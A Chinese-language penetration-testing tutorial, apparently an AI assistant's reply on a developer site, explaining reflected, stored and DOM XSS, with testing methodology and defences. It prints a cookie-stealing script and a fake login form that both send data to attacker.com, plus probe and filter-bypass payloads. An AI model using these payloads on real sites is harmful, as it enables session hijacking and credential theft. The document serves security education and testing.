WEB攻防-XSS跨站-反射&存储&DOM型
🎯 XSS核心:漏洞原理与攻击链条
一句话本质:攻击者能够向网页中注入恶意脚本,并在其他用户(受害者)的浏览器中被执行。

完整攻击链条(见下图)清晰地展示了从输入到最终攻击的全过程:
🔍 三大类型XSS的渗透测试视角
理解类型差异是精准测试和利用的前提。下表从数据流向和测试要点两个关键维度进行了对比:
|
类型 |
别称 |
数据存储位置 |
触发方式 |
持久性 |
渗透测试核心关注点 |
|
反射型 XSS |
非持久型 |
URL参数、HTTP头部(如 |
用户点击专门构造的恶意链接。 |
非持久 |
1. 寻找所有输入回显点(搜索框、错误页、URL参数)。 |
|
存储型 XSS |
持久型 |
后端数据库(如评论、留言、昵称、文章)。 |
用户访问正常的、包含恶意存储数据的页面。 |
持久 |
1. 寻找所有用户可控且能持久化的输入点。 |
|
DOM型 XSS |
- |
前端JavaScript代码中,不经过服务器。 |
用户前端交互(选择、点击)触发了恶意脚本。 |
依赖前端 |
1. 分析前端JS源码,追踪 |
⚔️ XSS攻击利用:从盗取Cookie到权限维持
在渗透测试中,证明XSS的危害性至关重要。以下是核心利用场景:
- 会话劫持与身份窃取
-
- 盗取Cookie:最直接的利用,获取用户会话。
// 经典Payload,将Cookie发送到攻击者服务器
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>
-
- 窃取凭据与敏感信息:伪造登录框(网络钓鱼)。
<script>
var fakeForm = '<div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;padding:20px;">请重新登录:<input id="user"/><input id="pass" type="password"/><button onclick="send()">登录</button></div>';
document.body.innerHTML = fakeForm + document.body.innerHTML;
function send(){ fetch('https://attacker.com/log?u=' + document.getElementById('user').value + '&p=' + document.getElementById('pass').value); }
</script>
- 前端页面劫持与恶意操作
-
- 页面篡改: defacement,影响业务形象。
- 键盘记录器:记录用户在页面上的所有按键。
- 发起非法请求 (CSRF):在用户不知情下,以用户身份执行操作(如转账、改密)。
- 权限维持与高级利用
-
- XSS盲打后台:将XSS Payload插入到管理员可能查看的地方(如留言),一旦管理员查看,其Cookie或后台页面内容就被外传。
- 结合其他漏洞:利用XSS读取客户端本地文件(如果浏览器支持)、进行内网探测(作为攻击跳板)。
🔬 XSS漏洞挖掘与测试方法论
- 发现输入点(找“入口”)
-
- 用户交互点:表单、URL参数(
?q=)、搜索框、评论、个人信息编辑。 - HTTP头部:
User-Agent,Referer,X-Forwarded-For等可能被记录并显示的地方。 - 文件上传:允许上传SVG、HTML等文件,且能直接访问。
- 用户交互点:表单、URL参数(
- 探测与验证(试“Payload”)
-
- 基础探测Payload:
<!-- 观察是否弹窗 -->
"><script>alert(document.domain)</script>
<!-- 检查HTML上下文 -->
" onmouseover="alert(1)
<!-- 针对JavaScript上下文 -->
';alert(1);//
-
- 分析输出上下文:
-
-
- 在HTML标签内:尝试闭合标签,如
"><script>alert(1)</script>。 - 在HTML属性内:尝试闭合属性,如
" onfocus="alert(1) autofocus="。 - 在JavaScript字符串/代码内:尝试闭合字符串并执行代码,如
';alert(1);//。
- 在HTML标签内:尝试闭合标签,如
-
-
- 使用工具辅助:Burp Suite Scanner、OWASP ZAP 可自动检测。手动测试时,Burp的
Repeater和Intruder模块非常有用。
- 使用工具辅助:Burp Suite Scanner、OWASP ZAP 可自动检测。手动测试时,Burp的
- 绕过过滤与WAF(“变形”Payload)
-
- 编码与大小写:
<ScRiPt>alert(1)</sCriPt>,HTML实体编码。 - 利用事件处理器:当
<script>被过滤时,使用<img src=x onerror=alert(1)>。 - 使用JavaScript伪协议:
<a href="javascript:alert(1)">点击</a>。 - 拆分与混淆:利用
eval(String.fromCharCode(...))、top['al'+'ert'](1)。
- 编码与大小写:
🛡️ 防御与修复视角(安全测试报告必备)
在渗透测试报告中,除了指出漏洞,还需提供修复建议:
- 对输出进行编码:根据输出位置(HTML体、属性、JS、CSS、URL),使用对应的编码函数。
- 实施CSP (Content Security Policy):HTTP头,明确告诉浏览器哪些外部资源可以加载和执行,是缓解XSS的终极利器。
- 输入验证与过滤:在特定场景(如富文本)下,使用严格的白名单策略过滤HTML标签和属性。
- 使用安全的DOM API:避免使用
innerHTML、document.write(),改用textContent、setAttribute。 - 设置HttpOnly Cookie:防止JavaScript通过
document.cookie直接窃取会话令牌。
📝 实战关联与案例复盘
- 反射型:类似于你提到的“微博两个反射xss”,攻击者需要诱导用户点击链接。
- 存储型:类似于“私信xss”或“评论xss”,一劳永逸,危害最大。
- DOM型:需要仔细分析前端JS逻辑,变化多端,常出现在单页面应用(SPA)中。
希望这份从渗透测试实战角度梳理的指南,能帮助你更系统、更深入地理解和测试XSS漏洞。如果想针对某一种特定类型的XSS(如如何高效挖掘DOM XSS,或如何绕过某个具体的WAF规则)进行更深入的探讨,我们可以继续。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)